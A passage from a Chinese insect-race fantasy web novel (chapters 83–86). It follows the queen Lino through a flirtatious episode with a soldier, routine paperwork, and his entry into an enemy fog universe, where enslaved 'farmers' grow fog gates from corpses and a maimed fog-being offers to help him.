崽放狠话的样子很可爱，但是合格的父母会纠正崽的错误。 思维简单的宇宙意识根本意识不到自己打破了利诺好不容易营造起来的、注定很燃的氛围。 利诺无言，和意识大眼瞪小眼，漂亮的银灰竖瞳满是泫然欲泣的可怜，这种时候还要这么严苛纠错的吗！ 被小崽盯着，宇宙意识有些心虚。 可小崽很漂亮，身为颜控的宇宙意识放软声调，摸摸利诺的小脑袋瓜：“好吧好吧，崽说什么就是什么！” 祂又小声嘀咕：“可是我们不是生命……” 宇宙意识突然笑出声：“崽崽，他确实是生的，但我们可以把他油炸成熟的！” 利诺不知道该不该笑，这个冷笑话，真的很冷。 第83章 宇宙意识指的很能生，意思是利诺从虫树上掰下的那些枝条，虫树是虫母繁衍的部位，它的枝条自然也有繁衍的本能。 尽管利诺没有多加关注，但也能感觉到，源源不断的虫蛋正在枝条上繁育。 只是这些虫蛋到底不是从由利诺本虫亲自孕育的，他对这些子嗣的感应不如真正由他分娩的子嗣感应强烈。 说到那些熊孩子，利诺稍微感应了下，经过他上次的教训，这些虫收敛了很多，如今分散在各军中驱散迷雾。 利诺放下心，跟着世界意识一起玩，莹白光团兜着他在宇宙中乱跑，时不时把他放到绚烂的星云、燃烧的恒星上，卷住他的双手，让他触摸这些真实的存在。 整个宇宙如今尚有一大片面积未被异宇宙吞噬，而这些完好的地域就是天然的游乐场，祂带着祂仅剩的小崽崽在神秘深邃的宇宙中游荡。 星球、陨石乃至黑洞，在祂的带领下，都是利诺的玩具。 这是很放松很悠闲的时光，沉寂的黑因此而跃动，在濒临利诺身体睡醒之际，白团再次把利诺放进了自己的肚子里。 利诺的意识渐渐回归，在最后，他听到了一阵奇妙的歌声，不是任何一种语言，音调神秘、低沉，却又弥漫着满满的温柔和祝福。 这是宇宙意识为他哼唱的摇篮曲。 追随利诺回归之前的时间线，在地球上等待时，宇宙意识学到了很多。 比如所有的妈妈都会给自己的孩子唱歌。 别家的崽有的，自己的崽也要有，宇宙意识是这么想的。 很好听，也很快乐。 利诺眷恋地闭上双眼，和祂的晚上才算是真正的童年，祂弥补了祂可怜的崽缺失两辈子的童年。 上辈子，利诺从小被训练杀丧尸，这辈子，利诺又为了能够以低级虫族的身份进入军校而从小待在训练场训练。 利诺没有体验过真正的、无忧无虑的童年，这是第一次。 他再睁开眼的时候，意识已然回归身体，蝴蝶翩然翅膀，小小地打了个哈欠。 尾钩活动，将上面的小蝴蝶移动到自己面前，伊戈提安担忧地问：“冕下，你没遇到什么危险吗？” 利诺化作人形，衣服却没有立刻穿上，不着寸缕，白皙的肤色闪烁着漂亮的光泽，宛若完美的化身。 他解释：“没有哦，带我出去的是宇宙意识。” “……”伊戈提安根本没听到利诺的回答，而是直愣愣地盯着小虫母，喉结滚动。 他是只年轻气盛的虫，平日连穿着衣服的小虫母都抵抗不了，更何况是没穿衣服的小虫母…… 在伊戈提安愣神时，利诺自己给自己换上了新衣服，只剩下鞋袜。 光着脚踩在雄虫的尾钩上，利诺拍了拍腕表，自言自语：“怎么化形换衣服的功能老是坏掉！” 伊戈提安艰难咽口水：“可能，它不想让冕下穿衣服？” 利诺从研究腕表的功能中抬起头：“？” 伊戈提安使劲儿摇头：“抱歉冕下，我刚才在胡说，您就当做没听到吧！” 他俯下身，握住小虫母的脚：“冕下，我帮您穿鞋。” 伊戈提安给利诺穿鞋的动作不如安瑟姆这位护卫长娴熟，毕竟他很少有机会能够和小虫母亲密接触。 穿到一半，伊戈提安装若惊讶地问：“冕下，您的脚似乎沾了些灰尘！” 利诺想都不想：“你看错了。”他的脚很干净，虫族的清洁功能同样发达，而虫母能够用到的洗澡用品更是如此。 科研院知道小虫母爱洗澡，于是其中一个科研组在短时间内研发出一种清洁用品，晚上洗完澡，皮肤起码可以阻挡两天灰尘的侵染。 因此，利诺的脚不可能脏，除非他光着脚去砍怪物的头。 伊戈提安直接一个低头，觍着脸，吻在透着粉润的凸起脚踝上：“冕下不用费力清洗，我帮您舔干净。” “……”利诺死鱼眼，他看是伊戈提安想占他便宜。 轻笑一声，利诺按在伊戈提安的头上，揪住其中一缕头发，往下压：“那么，乖大狗要好好做。” “遵命，冕下。” 伊戈提安抬起利诺的脚底，虔诚地亲吻脚背上清晰的经脉纹路。 利诺明明前一秒还像是训狗大师，但真感受到雄虫谦卑的舔舐，反而羞耻地蜷缩脚，足弓弯曲出好看的弧度。 这些虫对他身体的每一个部位都无比痴迷，甚至有机会，会先将他浑身舔得湿漉漉的。 按照祂说的，虫族是利诺的眷族，本应该随着利诺一同诞生，但因为迷雾的原因而提前诞生。 但无论如何，眷族对他们的神都是崇敬仰望的，只是虫族的特殊阶级结构导致他们对自己的神多了爱和欲望。 利诺的睫毛颤抖，等他感觉到不对的时候，伊戈提安已经往上，将他本就松垮的裤腿用嘴解开。 醉翁之意不在酒，利诺想到了一个适合形容伊戈提安心思的词语，伊戈提安明明是想…… 利诺颤声唔了声。 吃过灰塔族专门准备的丰盛饭菜，虫族就打算离开。 伊戈提安的脸颊红润，洋溢着满足的神色，足以让其他的虫明白，这只混蛋虫肯定是从冕下那里得到了什么好处，也许是冕下的亲吻，也许是冕下的拥抱。 每一只见到伊戈提安的虫都觉得不解，他们不理解虫母冕下为什么要奖励伊戈提安，伊戈提安明明那么讨厌！ 殊不知，伊戈提安在利诺那里的印象是乖大狗，虽然乖和伊戈提安完全毫无关系。 军舰的会议室上，利诺吩咐众虫：“宇宙意识不需要寻找了。” 毕竟宇宙意识一直在他的身边，就等着每天晚上他睡着后逗着他到处去玩，而他的精神力一日强过一日的原因就在这儿。 虫族没有任何异议，甚至连问的都没有，冕下的一切命令是不可置疑的，除非…… 利诺的下一句话得到了虫们的强烈反对：“给我一艘小飞行船，我要直接进入卓姆索尔之前汇报的异常迷雾。” 三军军长早在灰塔会议前就向利诺递交了一份文件，里面说到他在爱莉希雅星系边缘往外开辟时遇到的迷雾，拥有一百名侦查虫族的小队进入其中，直接折了一半，剩下的一半连利诺使用意识海都无法联系。 那时候利诺就和拉斐尔说了，等会议结束后，他就会进入这片迷雾。 “不可！冕下！”拉斐尔最先反对，“我们说好的，等灰塔会议结束后回到蓝星做好准备再去，我不反对冕下冒险，但太仓促了……” 利诺冷静：“时间紧急，今天早上迷失在雾里的那五十只中级虫族的星点在闪烁。” 这意味着，这些虫族突然遇到了危险。 当然，侦查虫仅是原因之一，潜在的神门也是原因之一，更重要的是，自从看完宇宙意识的“电影”，利诺对迷雾的愤怒在狂躁生长，他迫切需要什么去宣泄这种愤怒。 否则，他一定会失去理智！ 利诺抱着祂的手指，发出的誓言并非随口就来，杀了那么多的……他一定要让异宇宙意识血债血偿。 小虫母的情绪激动，银灰竖瞳似乎燃烧着熊熊的仇恨火焰，他高昂炽烈的情感被参加会议的虫们切实感知到。 伊戈提安最先表态：“我陪您去！” 利诺点头，现在这些军长中，只有伊戈提安在休假，其他的包括安瑟姆都有其他的事情要忙。 拉斐尔无奈叹气：“好吧，不过我希望冕下带足士兵。” 安瑟姆也表态：“冕下不带我，也请带上足够的护卫虫，保证您的安全和生活质量。” “我会的。” 虫族对他的安全一向谨慎小心，这次能够退步实属不易，利诺会满足他们的要求，尽量不使他们过分担心。 军舰群从空间门跳跃到蓝星所在的阿尔法星系，在往蓝星的路上停下。 一艘较小的军舰从军舰群分开，朝着爱莉希雅星系边缘不断进行空间迁跃。 军舰上，利诺也收到了卓姆索尔传来的名单，一百名迷失在迷雾中的虫族，五十名虫族的名字彻底黯淡。 在还活着且疑似顺利进入迷雾之门的五十名虫族中，利诺看到了一个熟悉的名字。 ——洛尔南，那只成年后战斗力堪比高级虫族的黄蜂，也是被利诺压着把蜜液吃干抹净的军校室友。 打开腕表，利诺才意识到，洛尔南自从在半月前说要执行一次特殊任务并得到他的回复后，就再也没有和他说过话。 洛尔南说他一直在努力，虽然进入军校还不到一年，但他已经修够课程学分，在毕业实习。 洛尔南还说，只要这次实习完成，他就可以被调到蓝星，去找他，他也有储存蜜液，希望利诺可以吃饱。 往上拨，洛尔南曾经表示，他不会希求成为利诺的虫夫，就算成为没有名分的小虫也可以。 原来洛尔南说的毕业实习就是当三军的侦查兵，利诺捏了捏鼻梁。 伊戈提安在利诺的身后站立，利诺没有藏着的意思，他就算不是故意的，也能看到利诺和洛尔南的聊天对话。 他冒着酸水，阴阳怪气：“哟？还不要求名分，就当个外室虫就成？想得美他！” 雄虫想，他都没混上外室虫呢，一只军校小虫还妄想当外室虫！冕下的外室，那也不是普通虫可以当的。 利诺开始处理政务，瞥了眼虫，一下子听懂了伊戈提安话里的意思。 在一份文件末尾批下已阅，又在另一份文件末尾批下准，利诺说：“你不是想当虫夫吗？现在也想当外室虫啦？” 第84章 伊戈提安像是没骨头一样，状若柔弱地靠在利诺身边：“我都可以，只要冕下能多怜惜我一些……” 雄虫体格普遍大，伊戈提安同样五大三粗，此时做出柔弱可怜的模样，和他那张过于英挺的脸和健壮的肌肉完全不符合。 利诺硬生生起了一身的鸡皮疙瘩，连连把伊戈提安推开。 伊戈提安假哭两声：“冕下想吃了不认账吗？” “……”利诺直直甩了个大白眼，“吃什么？我才没吃？” “是是是，冕下没吃。”伊戈提安暗示地舔舔唇角，“是我吃了一半的冕下。” 伊戈提安是只没有脸皮、没有节操的虫，见利诺不说话越发得寸进尺：“我还想吃冕下的另一半，冕下什么时候给机会？” 好在此时只有利诺和伊戈提安两只虫，利诺没有什么放不下的架子，他将还剩下的政务文件分出一小半，传给伊戈提安。 埋头批注的小虫母抬起下巴，命令：“把这些处理了。” 伊戈提安摸着下巴，为难：“这不好吧，冕下……” 他只是一个二军的军长，没有资格帮助利诺处理文件，只有担任利诺临时老师和军部总参谋的拉斐尔以及元帅赫弥珞有。 伊戈提安还是有些分寸的，知道什么重要什么不重要。 利诺无所谓：“没事，这些是各星球军部军长和参谋发来的问好，你只需要写个好或者阅就行。” “好，听冕下的。”伊戈提安听话地打开第一份文件，里面的内容令这只高等虫族挑高眉毛。 正如蓝星最高军部的元帅和总参谋分别掌握军权和行政权，其他星球军部军长和参谋也彼此共事、分别行使对本星球的军权和行政权。 以前是松散放养形式的虫族政权，在虫母的诞生后就变成了最紧密的、以蓝星为核心的虫族帝国，不需要改变以往的形式，这些虫们便自发以虫母为核心，无条件、百分百的执行利诺的一切命令。 虫族即使数量不多，不会将所有的星球都开发，但架不住地盘大，足足四个星系，虫族生活的星球只多不少。 利诺自从开始跟着拉斐尔学习处理政务，这些几十年都懒得给蓝星最高军部发一条消息的各星球军部参谋就开始频繁发送政务信息。 这些虫为了和小虫母搭上话，恨不得一日三顿发。 刚开始，利诺疲于应对，毕竟那些虫除了每天早中晚问利诺吃的好不好、睡得好不好，还会长篇大论，从关闭了多少数量的迷雾之门，到自己今天出门是怎么把把一根蚯蚓竖着劈成三半…… 利诺实在无法忍受，使用意识海，勒令各星球的军长和参谋除非紧要情况，否则最多一周发一次，字数限制在一千内。 一周只发一次，对这些虫而言简直是晴天霹雳，而利诺认为，一周一次还是太多了。 然而拉斐尔说，这些军长和参谋不能随便离开自己驻守的星球，他们又无比仰慕小虫母，汇报是他们唯一可以接触小虫母的机会。 听起来可怜兮兮的，利诺一个心软，就同意了，不就是多处理几份查重率几乎百分之百的文件嘛，他可是最厉害的虫！ 想到这，利诺又软下心肠，让别的虫代为回复，让那些虫族知道估计会伤心…… “算了，还是拿给我吧。”处理完相对重要的文件，利诺又动用权限，把刚发给伊戈提安的文件转移回自己的腕表内。 第一份文件，是位于天璇星系的一只星球军长虫，他先是用大篇幅、不重复的词汇来赞美利诺，接着说起自己这一周的工作，包括关闭了两扇迷雾之门、每天吃两瓶营养液，又从利诺的星网号上保存了十张冕下的照片等等…… 伊戈提安已经看完了这一份，并标注：垃圾，就关两扇门？而且我一天都可以嚼下十瓶营养液，不然供不起给冕下吃的蜜液。 但紧接着，这句话被一条线划掉，他模仿利诺的字迹，写了个“阅”。 然而这句话非常显眼，写下这串字的虫只是象征划一下，实际真正的打算是让那位军长看到。 利诺扶额，将其彻底扫掉，看了眼心虚的伊戈提安，只留下一个“阅”字。 公务处理完毕，小型军舰到达爱莉希雅星系边缘，星空与迷雾泾渭分明，由三军军长卓姆索尔率领的军队就驻扎在距离迷雾两公里的范围上。 这是虫族推算出的、距离迷雾最近的安全距离，原本只有漂浮稀碎陨石的地界上，虫族用军舰和特别的物质搭建为一个坚固的空中堡垒。 利诺到的时候，虫族有条不紊，在虫造的宇宙建筑中做着自己的工作。 “冕下日安！”穿着轻便军装的卓姆索尔对走下军舰的利诺恭敬行礼，坚毅的面容挂着难掩的沧桑，却因为见到小蝴蝶而耳朵通红。 他是个脸皮薄、容易逗弄的年轻却有能力的虫族。 事实上，由于虫族之前没有虫母，意识海容易崩塌，导致军部很少有几百岁的虫。 但他们即使年轻，但战斗力并不弱，不然在强者为尊的虫族，卓姆索尔坐不上三军军长的位置。 利诺笑容温和：“跟我讲一讲目前的情况。” 卓姆索尔一边带着利诺往堡垒中心走，一边低声道：“本来迷雾在我们的驱散下一直后退，但是半月前，迷雾发生了暴动……冕下，我从未见过迷雾暴动，它直直膨胀了一点五公里，差点吞噬当时的驻扎堡垒。” 三军军长详细告知迷雾的异动：“后来我派出最精锐的一支侦查队，这里面的侦查兵经验丰富、战力不低，还有一只中等虫族虽说只是实习，但是他种族特殊，堪比高等虫族。” 接下来的卓姆索尔不用说，利诺也很清楚了。 精锐小队瞬间死掉一半，三军停止开拓迷雾，也执行利诺的命令，不再试图派虫进入异动的迷雾，只等待利诺的到来。 迷雾之门给予那些侦察虫的时间很宽裕，哪怕半个月过去，利诺都参与了灰塔会议，再过来，门内的虫族也仅是生命体征不再稳定，内里的怪物并未经过迷雾之门出来。 利诺不准备休息，明亮的竖瞳锐利盯着两公里外的迷雾，盯着杀掉他几十名子嗣的迷雾，声音冷下来：“准备好物资，我现在就进去。” 卓姆索尔犹豫道：“冕下不如再休息一晚？” “时间紧迫。”代表剩余五十名侦察兵的星点在闪烁，利诺简单道。 伊戈提安撞了下卓姆索尔的肩膀，一副独断猖狂的模样：“小三啊，你要相信冕下的能力。” 他们的冕下，从来就不是一只柔弱的虫，比如，冕下的拳头就很疼。 伊戈提安自以为隐蔽地摸了下发痛的小腹，清早冕下教训他的那一拳，直接把他的旖旎心思打没了……不然他何至于只吃到冕下的一半。 他顶了顶腮帮，血眸变暗，仿佛内里藏着两道暗红血液，顺着瞳孔的纹路剧烈滑动。 卓姆索尔一巴掌打飞了伊戈提安的贱爪，拧眉：“我不是小三。” 利诺一个瞪眼，要回嘴的伊戈提安立马识相地闭上嘴。 虫族效率很高，闻到虫母香甜味道的虫族效率只会更高，全程不到三分钟，驻扎的三军为虫母准备好了进入迷雾的物品。 “冕下，我想和您一起进去。”卓姆索尔眼神坚定。 利诺看了眼更加活跃的黑色迷雾，扭头搭在虫族的肩膀上，叹了一口气。 身高差的原因，利诺需要悄悄踮脚，然后伸胳膊。 利诺已经习惯他的属下们只只比他高的现实了，他怀疑是他之前一直饿着的原因，导致现在吃再多雄虫翅膀上的蜜液都长不高了。 “冕下……”卓姆索尔有些不安。 漂亮的小虫母则是露出安抚的笑容，一丝精神丝线以他接触雄虫肩膀的部位为媒介，进入卓姆索尔的意识海，温和的白芒修补伤痕累累的意识海。 “乖，你这些天很累，意识海都不好了。”利诺眉眼弯弯，像是在哄小孩，“卓姆索尔现在需要休息。” 利诺抽回手，破损的意识海修补完毕，卓姆索尔发涨的头脑变得清明，只是疲倦随着冕下的安抚而在叫嚣。 卓姆索尔单膝跪地，将利诺的一只手放在自己的额头，闭上眼，盖住即将夺眶的泪水：“遵命，冕下。” 虫族即使死、即使再痛都不会流眼泪，除非是为他们的冕下。 卓姆索尔想亲吻冕下的手，因为觉得唐突，中途改变方向，让自己的意识海代替自己去亲吻冕下。 利诺和伊戈提安以及带来的一小支士兵进入迷雾，迷雾因为生命的进入而再次攒动。 黑色的罪恶弥漫，最后一只虫兵也没入黑暗中，他制服上代表虫母的蝴蝶印记也被黑暗包裹。 蝴蝶进入了捕虫笼，以猎物的身份。 卓姆索尔最后望了一眼小虫母进入迷雾的方向，坚定的虫瞳颤动。 门比利诺想象中好找。 “噗嗤！” 利诺的意识刚刚回归，他的眼睛尚且没有睁开，手腕处的利刃往上，刺穿怪物的下巴，一直捅到了怪物的脑子。 下一秒，抽出利刃，利诺的身形闪现到一边，警惕地看眼前的怪物。 按理说，这只怪物的脑花都被刀搅碎了，就算是丧尸也得死。 这只怪物应该是死了，利诺察觉不到他的生命特征，但事实上，这只怪物似乎还活着。 这只带着灰色兜帽的怪物咔哒咔哒转动脑袋，一双浑浊的眼睛散发着雾气。 第85章 利诺警惕地望向这只怪异的怪物，手中的匕首变成了粉色的大斧头。 “咔咔……咔咔……你好……农夫……咔咔……”怪物调整自己的发声，在摩擦和咔哒的磨合中，他向利诺问好。 怪物穿着与兜帽一样颜色的长袍，裹得很严实，利诺只能看到他那一双散发着雾气的眼睛，刻板，没有任何情绪和光芒。 利诺倒退了一步，脚底踩到柔软湿润的土壤。 怪物往前又走了一步，他打量利诺良久，短短的时间内，他换了好几种语言，最终匹配上利诺的语言，说出流利的通用语：“农夫，欢迎你来到雾土，成为一名种植雾门的农夫。” 雾门？迷雾之门？利诺听到关键词，抬起头直视怪物。 他发现这只怪物就算曾被自己捅进脑子里，也没有反击的恶意。 又或者说，怪物压根没有攻击这个设定？ 利诺想了想，收起斧头，扬起友善的笑：“种植雾门是什么意思？你又是谁？” 漂亮的脸蛋满是无辜和亲切，好像一见面时利诺刺穿怪物的举止是幻觉。 怪物并不在意这些，他有限的脑子也不支持他思考：“我是接引傀，我被制造出来，是为了指导新农夫快速适应工作。” 他缓缓回答利诺的疑问：“雾门，是你需要种植的作物，我会一周来一次，收取成熟的雾门。” 利诺有心问出更多的信息：“雾门有什么用？你要把雾门交给谁？” 这问题似乎超出了接引傀回答的范围，他低下头，重复：“农夫需要种植雾门，种植不出雾门的农夫，会被销毁。” 见问不出什么，利诺只得放弃，而是虚心求教：“雾门要怎么种植？” 这是接引傀可以回答的问题，他毫无语调起伏：“农夫，跟我来。” 接引傀走进围起来的栅栏中，那里坐落着一方小池塘，一栋木屋，以及一小片开垦好的、湿润的黑泥土。 这种黑泥土与利诺曾经收到的肥沃黑土完全不一样。 利诺跟着接引傀站在黑色泥土的旁边，低下头查看，发现这玩意虽说是黑泥土，但更像是由黑雾凝聚浓郁到实质的产物。 黑泥土带给利诺的感觉，与侵略宇宙的迷雾有一些差别，却不大。 迷雾，是从黑泥土上诞生的？利诺升起这样一个猜测。 接引傀不知道利诺在想什么，在农地旁站定，他接着说：“农夫，你要在这里种植雾门，一粒种子，在六天后可以收获一扇迷雾之门。” “但是种子，你需要自己获取。” 利诺接着问：“我需要从哪里获取种子？” 接引傀回答：“后山有山洞，你需要进入其中，找到适合种植雾门的种子。” “种子，由尸体和绝望构成，你需要在后山洞穴寻找合适的尸体，尸体越多、越绝望，雾门的质量越好。找到尸体，你需要将你的一缕精神力与尸体融合，尸体会变成雾门的种子。” 利诺从没有尝试过让自己的精神力与尸体融合，听得一愣一愣的。 接引傀询问：“农夫，你还有要问的吗？” “有。”利诺举起手，虚心求教，“怎么把精神力和尸体融合？” 接引傀愣住了，思维似乎卡壳，好一阵咔哒咔哒后，他道：“你的学校，没有教你吗？” 利诺挠挠下巴：“学校还会教这个？” 接引傀沉默半晌：“这不可能，每一个有精神力的生物都会被送到学校，教导精神力的使用方法和种植相关的技巧……你，知道怎么种植种子、给种子浇精华，用精神温养种子，最后用精神力促进雾门的转化和成型吗？” 不好意思，我的学校教的是怎么杀怪物，还真没教过种植雾门。 利诺心虚地垂下眼睛。 接引傀独自咔哒咔哒半天，最终掏出一本同样用雾气构成的小册子，递给利诺：“农夫，这是我捡到的，你也许需要这个。但无论你有没有在学校认真学习，我也会在七天后前来收取雾门。” 他警告：“如果你种不出来至少一扇雾门，你会被销毁。” 利诺接过册子一看，上面的文字他并不认识，但陌生的文字却在碰到他皮肤的那一刻，自动转化成利诺熟悉的通用语。 ——标题是雾门种植速成攻略。 接引傀离开了，在利诺的面前化成一团雾气分散，留下最后一句话：“在七天后我会来收取成熟的雾门。” 利诺尝试使用意识海呼唤跟着自己进来的虫族，可意识海就像是被什么阻挡一样去，无法进行联系。 意识海上的星点稳点璀璨，就连一开始闪烁的星点也慢慢稳定下来，并没有化作流星一样坠落，利诺多多少少放下心，坐在木屋门口边的小马扎上，打开速成攻略。 先让他看看这雾门种植是怎么个回事。 “雾门，是由各生物的尸体在雾土上生长出来的产物，只有有精神力的生物才能够有幸成为种植雾门的农夫，没有精神力的生物是废物，是连雾门废料都做不了的垃圾。” “种植雾门很简单，找到适合的尸体，尸体数量最少一具，最高不限量，只要你的精神力足够，制造出千万尸傀数量的雾门都可以。” “每个农夫的木屋旁都会有一个山洞，走进去，找到尸体，带出来，在种植前用自己的精神力包裹，这就是种子。注意要寻找自己精神力可以承受的尸体，否则会被尸体反噬，轻则精神力消失，重则死亡。” “种下种子，是雾门种植的第一步。雾门的生长需要六天，在这六天内，一、三、五需要将精神力凝聚成液体形态的精华浇灌种子。” “必须保证精华足够，否则种子会枯萎。只要你一切做到，第六天，雾门会成熟，第七天，接引傀会前来收取，并给予你奖励。” 册子只有几张纸，上面的话也不多，但足够让阅读的生物明白如何种植雾门。 可这纸张……利诺摸了摸册子，精神力的强大让他察觉到纸张的不对劲。 细到看不见的精神丝线探入纸张的缝隙，扩张，原本的一张厚页分成两页。 小册子很普通，看似只是一本速成攻略，可是只要精神力达到一定数值，就可以发现小册子的不对劲，并得到小册子的真实内容。 利诺低头查看，只见分开的这页用着大大的血红色字迹警示：不要种雾门！不要种雾门！不要种雾门！ 利诺疑惑，将另外几张纸以同样的方式打开，里面自己潦草，但可以自动转化成利诺惯用的通用语。 同样血红的大字潦草恐惧：“疯了！宇宙疯了！种植雾门是骗局！” “我们是工具！是帮凶！我们在帮着祂作恶！” “我们是养料，是祂为了扩张的肥料。” “祂疯到没有理智了！” “救救我！” 利诺想知道，“祂”是谁？是异宇宙意识吗？毕竟迷雾之门和雾门貌似好像是一个东西？ 如果这么说，祂让有精神力的生物来种植雾门，然后祂用雾门来侵略其他的宇宙？ 利诺不太确定地推测，那他现在待的还是迷雾之门吗？难道是异宇宙的世界，所以他无法呼应其他虫族。 验证这一切的有一个最有效的方法，利诺合起速成攻略，大声地喊道：“妈！爹！” 没有回应。 但如果是在本宇宙内，即使是在迷雾内，本宇宙的意识也会乐滋滋地飘过来，然后亲热地包住他，高兴得来回晃悠。 自打知道了宇宙意识一直在他身边后，利诺在晚上经常研究宇宙意识。 因为所有的孩子只剩下利诺，祂异常宝贝爱惜利诺，即使利诺进入迷雾，祂也会分出一丝不使异宇宙察觉到的意识跟着利诺。 这缕意识没有智慧，但在利诺濒临死亡时会救下他。 利诺在第一次迷雾之门差点要和怪物同归于尽时，如果不是赫弥珞分裂出来的虫兽及时赶到，他就会感觉到那缕意识融入他的意识海，帮他修复伤势。 又喊了几声，依旧得不到回应，利诺确定了，异常的迷雾把他送到敌对宇宙内了！ 为什么？难道是因为爱莉希雅星系接壤的迷雾区正巧是异宇宙操纵迷雾侵入的入口？ 光推测也不行，利诺站起来，准备打入敌方内部，他要去找种子，先种下，然后看看周围有没有其他“农夫”的存在。 好歹也被拉斐尔正经教导过，利诺就算没衣鱼聪明，但也没傻到只知道吃蜜液，阴谋诡计耍不了太高深的，但他明白“敌人的敌人就是朋友”。 利诺在想，他有没有可能把其他农夫拉到自己这一方，毕竟从册子上来看，有些农夫也是被利用和懵逼的？ 只是，利诺左右环视，除了这一块种植雾门的地界，四周全都被迷雾笼罩。 他的精神力无法突破这类比起本宇宙还要更加浓郁的迷雾，所以用精神力探路是不切实际的，他只能在稍后亲自走近迷雾进行探索。 山洞在木屋的后面，黑黢黢的洞口环绕几丝雾气，看不到一点光亮。 利诺没有半分犹豫就走了进去，头脑眩晕，是他进入迷雾之门时经常有的感觉。 山洞并不是真正的山洞，而是一个将他传送到另一个地点的媒介。 血腥和腐臭浓郁，死掉多时正在腐烂生蛆的尸体、已然没有血肉的骨架、新鲜的、还冒着热气的生物尸体，密密麻麻堆积在望不到头的沙土上。 “啪搭！”这时半空出现一团旋转的迷雾，一只巨大的、陌生的生物尸体落入尸堆。 利诺走近，一道麻木的声音低喝：“那是我先看上的种子！” 第86章 说话的是一个很像人类的生物，穿着粗布麻衣，脸颊消瘦凹陷，肚子却高高涨起，似是严重的营养不良。 利诺很肯定这生物不是人类，是因为这东西的一只臂膀断掉，并不齐整的伤口留下的不是血，而是雾气。 利诺后退半步，表示自己没有争抢种子的打算，一双竖瞳停留在来者的身上，默默打量。 利诺可以听懂这种生物的语言，但从口型分辨，人形生物说的并非本宇宙的通用语。 伤口流出雾气血液的人形生物起先充满警惕，但见到利诺的退步后收敛了不少。 他走到从天而降的巨大尸体面前，从口袋掏出一根同样带着雾的锁链，缠绕在尸体的一部分肢体上，又看了眼正好奇盯着锁链的利诺，问道：“新农夫？” 是可以沟通的生物！还疑似是经验丰富的农夫！且感受不到丁点的恶意。 利诺快速做下正确的判断，露出和善的微笑：“对的，大哥，我叫利诺，你呢？” “……”人形生物停下拉动锁链的动作，奇异又肯定地说，“你不是雾种吧？是其他宇宙来的？” 利诺虚心求教：“什么是雾种，你怎么知道我是其他宇宙来的？” 利诺长得细皮嫩肉，又好看精致得不得了，寥寥几句，就把对面人形生物在交际时竖起的冰冷高墙击垮。 人形生物已经找到了他需要的种子，不急着离开，倾向再和新来的漂亮小农夫交谈几句。 他已经很久很久，没有和除了接引傀以外的东西说过话了。 生物指了指自己掉落雾气的伤口：“由雾组成的生物，就是雾种，我们是雾宇宙孕育出来的生物。” “雾门需要有精神力的生物才能种植，不是每一个雾种都适合种植雾门。” 这只雾种的声音压低了许多：“雾种满足不了祂对雾门的需要，奴役其他宇宙的部分生物很常见。我之前见过一个异宇宙的生命，他的精神力很强。” 雾种指着自己不再流出雾气的断臂：“可惜，他后来被自己的雾门吞噬了整个身躯，就像我断掉的手臂一样。” 利诺配合地倒吸一口凉气：“雾门还会吞噬？” “对，给你一句忠告，选择的雾门种子不要超出自己的精神力范围，否则雾门会在成熟的第一时间吞噬你。”雾种扯动锁链，就打算离开。 扯了一下，他又想起来什么，扭头露出半张颧骨凸起、饱受风霜的脸：“也不能种植太弱小的，不然雾门会不断蚕食你的精神力。不过，你的精神力只是雾门的食物。” “无论如何小心，你这张漂亮的小脸蛋都会变成我这样丑陋。” 锁链哗啦啦，巨大的尸体被雾种推动，雾种压抑的恨意包含在他的最后一句话中：“也不要太信接引傀的话，祂无耻贪婪，我们是祂的奴隶，而接引傀是祂的爪牙。” “等等！”利诺握住锁链，面色沉静，银灰的竖瞳显现出虫族天生具有的冰冷和高傲。 难得好心一次的雾种皱起凌乱稀疏的眉：“你想干什么？” 强盛的精神力覆盖利诺和雾种，利诺露出一丝笑：“你还知道祂、或者说这方迷雾宇宙意识的什么信息？可以都告诉我吗？” 雾种第一意识是跑过来捂利诺的嘴，他惊骇恐惧：“你疯了，怎么能直接喊祂！” “放心，有精神力屏蔽，祂听不到。”利诺很自信自己的精神力，他的战斗力或许比不上其他虫族，但能够联系整个虫族的精神力连宇宙意识都无法比拟。 那是他在迷雾的侵略腐蚀中发生的异变，就像同样被迷雾催化的虫族，本宇宙意识在最开始都没察觉出他们变异的战斗力和身体素质。 本宇宙意识有用很模糊的语言告诉利诺，利诺和他的眷属虫族，有一半是祂创造的，但另一半，则由入侵的迷雾造就。 迷雾在侵略利诺的宇宙时，就得做好被反噬的准备。 雾种张了张嘴，以他的精神力强度，自然无法察觉那种精神屏障，但它隐约感觉，在这里面说话会很安全。 利诺耐心等待雾种反应。 终于，雾种重重吐出一口气：“我知道的都是我在很久之前的朋友告诉我的，他是最开始的一批雾门种植农夫，他最开始的身份也不是什么狗屁农夫，而是侍奉神的侍从。” 他苦笑道：“我们宇宙从一开始就知道宇宙意识的存在，并且全部的雾种都虔诚地信仰祂。” “我们刚开始的生活也不是这样的，祂仁慈怜悯，将整个宇宙变成乐园，我们不会伤心、忧虑。” “可是后来有一天，祂变了，乐园成了地狱，祂杀掉了没有精神力的雾种，奴役有精神力的雾种日复一日种植雾门，雾门的种植也是有代价的，即使再怎么小心，雾门也会吞噬我们的精神。” “那名从神侍变成农夫的雾种告诉我了关于雾门的注意事项，这也是我能苟延残喘到现在的原因。后来，他还和其他几名没有被杀死的神侍写了一本书，将部分秘密藏在书中。” 雾种愤怒地握拳，最后又无力地放下：“祂发现了，这些侍从都死掉了。” “是这个？”利诺把速成攻略的小册子拿出来。 “对，就是这个！”雾种疑惑，“你怎么得到的，祂应该全部销毁了！” 利诺心情复杂：“是接引傀交给我的。” “这不可能……接引傀是祂的走狗……”雾种不敢置信。 利诺提出大胆的想法：“看来，接引傀也不喜欢祂？” 雾种没说话，只是将小册子拿过来，抚摸上面的字迹：“这一页，是我妻子写的。” “她也是侍从之一，我们还一起哺育了孩子，但是孩子们没有精神力，最后被祂杀掉了。” “抱歉，让你想到了伤心的事。”利诺只能说出苍白无力的话。 断掉一只臂膀的雾种抬起头去，用另外一只完好的手握住利诺的手：“你想杀掉祂是吗？我可以帮你！” 利诺挠头：“我的想法这么明显吗？” “只想求生的农夫不会问我这么多，也不会有这样强大的精神力。”雾种像是缺水的鱼重新找到了大海，“你要怎么做？我可以帮你！” 利诺沉吟几秒：“我想知道，有没有联系到其他农夫和接引傀的方式。” 在这里，浓郁的雾将每个农夫的小屋隔绝出一块又一块的隐形监狱，农夫们只能在寻找种子的山洞内才有可能碰上面。 利诺对此不抱希望，但没想到，这只雾种却快速点头：“有！” 面对惊讶的利诺，雾种自信道：“今天无论你遇到哪个农夫，他们给你的回答都会是不能，只有我可以。” 